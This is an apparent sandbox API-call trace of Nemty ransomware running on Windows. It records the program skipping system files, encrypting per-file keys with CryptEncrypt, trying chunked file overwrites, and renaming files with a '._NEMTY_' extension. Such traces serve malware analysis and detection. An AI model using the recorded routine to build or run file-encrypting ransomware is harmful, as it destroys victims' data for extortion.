pszString="GEl7e8VpGEDqF3ZvAoSTJyX0p4G+KhygyBPCfI0tmob/GkVUQ4kjT8TM3wtLKpco\r\nIM9QPC24CgC1wBOWFnLgFMR3Px9iGJX5hK3HkzuyU55Oh6SwJiYGhBrzlqq5HJ8f\r\nNn+MbG1+rOyShi+gBr7M9Ghs6TUIhfXU+NdI9vvK5KrzM0bGtr9O4z5GTOwt7IZS\r\ndqu4wcaTMtVwLcd/O/47z/HNQd7blBJiHITwG3oKn6lUN+xNtSNMQ18V/txCfPg+\r\nw687bYjwfgT3h/i1plZZQZolE7fPAjb/9DuA8Gyp0QgKXEBhErmEXJ9R35DVtoGJ\r\nWeFYNPaLqgBobSAuSHSQYA==\r\n", pcchString=0x653e91c) returned 1 [0118.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0118.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0118.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0118.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0118.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0118.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0118.933] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_top.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0118.934] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0118.934] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0118.934] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.934] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.943] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.943] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.943] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.952] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.952] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.952] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.961] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.962] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.962] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.962] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.971] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.971] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.971] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.980] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.980] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.980] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.990] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0118.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.999] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0118.999] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0118.999] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.027] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.027] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.033] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.034] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.034] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.034] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.040] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.040] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0119.040] CloseHandle (hObject=0xffffffff) returned 0 [0119.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0119.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0119.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.040] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0119.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6343fe8 [0119.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63440a0 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_top.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_top.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_box_top.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_box_top.png._nemty_kgobjgd_")) returned 0 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440a0 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0119.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.040] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d7179b, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d7179b, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288f1e7f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_corner_bottom_left.png", cAlternateFileName="")) returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2=".") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="..") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="...") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="windows") returned -1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="$RECYCLE.BIN") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="rsa") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="NTDETECT.COM") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="ntldr") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="MSDOS.SYS") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="IO.SYS") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="boot.ini") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="boot.ini") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="AUTOEXEC.BAT") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="ntuser.dat") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="desktop.ini") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="CONFIG.SYS") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="RECYCLER") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="BOOTSECT.BAK") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="bootmgr") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="programdata") returned 1 [0119.041] lstrcmpiW (lpString1="settings_corner_bottom_left.png", lpString2="appdata") returned 1 [0119.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0119.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_left.png", lpUsedDefaultChar=0x0) returned 31 [0119.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0119.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0119.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.041] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_left.png", lpUsedDefaultChar=0x0) returned 31 [0119.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0119.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0119.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_left.png", lpUsedDefaultChar=0x0) returned 31 [0119.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0119.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0119.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_corner_bottom_left.png", cchWideChar=31, lpMultiByteStr=0x4f9ed58, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_corner_bottom_left.png", lpUsedDefaultChar=0x0) returned 31 [0119.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340298 [0119.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0119.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340360 [0119.042] Sleep (dwMilliseconds=0x5) [0119.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa9c42b0, dwHighDateTime=0x1d561e7)) [0119.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfa9c42b0, dwHighDateTime=0x1d561e7)) [0119.057] GetLastError () returned 0x5 [0119.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.057] GetLastError () returned 0x5 [0119.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0119.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.057] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0119.057] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0119.057] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0119.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340428 [0119.058] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340428, pcchString=0x653e91c | out: pszString="z4pe/i30jD2n5WAbImFVVk+EW2OpeOGbsOLYKrcJYTCgB/bOC1cxPsT7H45NgtVk\r\n1LyhcBPVfyzsBhOPNxZTT/dBtqzn1P18F/MybHxxqOz3kk2AaqV1SMo+ojgrsDI/\r\ncY3rqdZEGwiet1R5wA3cNRykgGDuHnEkQ3M0KOvqIRL2IL/CKsZEL4l/QGDxxG7H\r\nc9Npo/zNKW7bVPR/luljSK06JtPmYIrGsHRKOT0il8re9M3S4m6deh8i73++PC24\r\nIgOuSGn6FDdZHD3YLwLtFD0LVbwqJFKeVyRYd+JgD6paB2rCPwC1oBYW85gBm3hK\r\n2iBFfPlDuKP1hN7IaUkvKg==\r\n", pcchString=0x653e91c) returned 1 [0119.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0119.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340428 | out: hHeap=0x4f90000) returned 1 [0119.058] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0119.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340428 [0119.058] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0119.058] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_corner_bottom_left.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_corner_bottom_left.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.059] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0119.059] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0119.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.059] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, 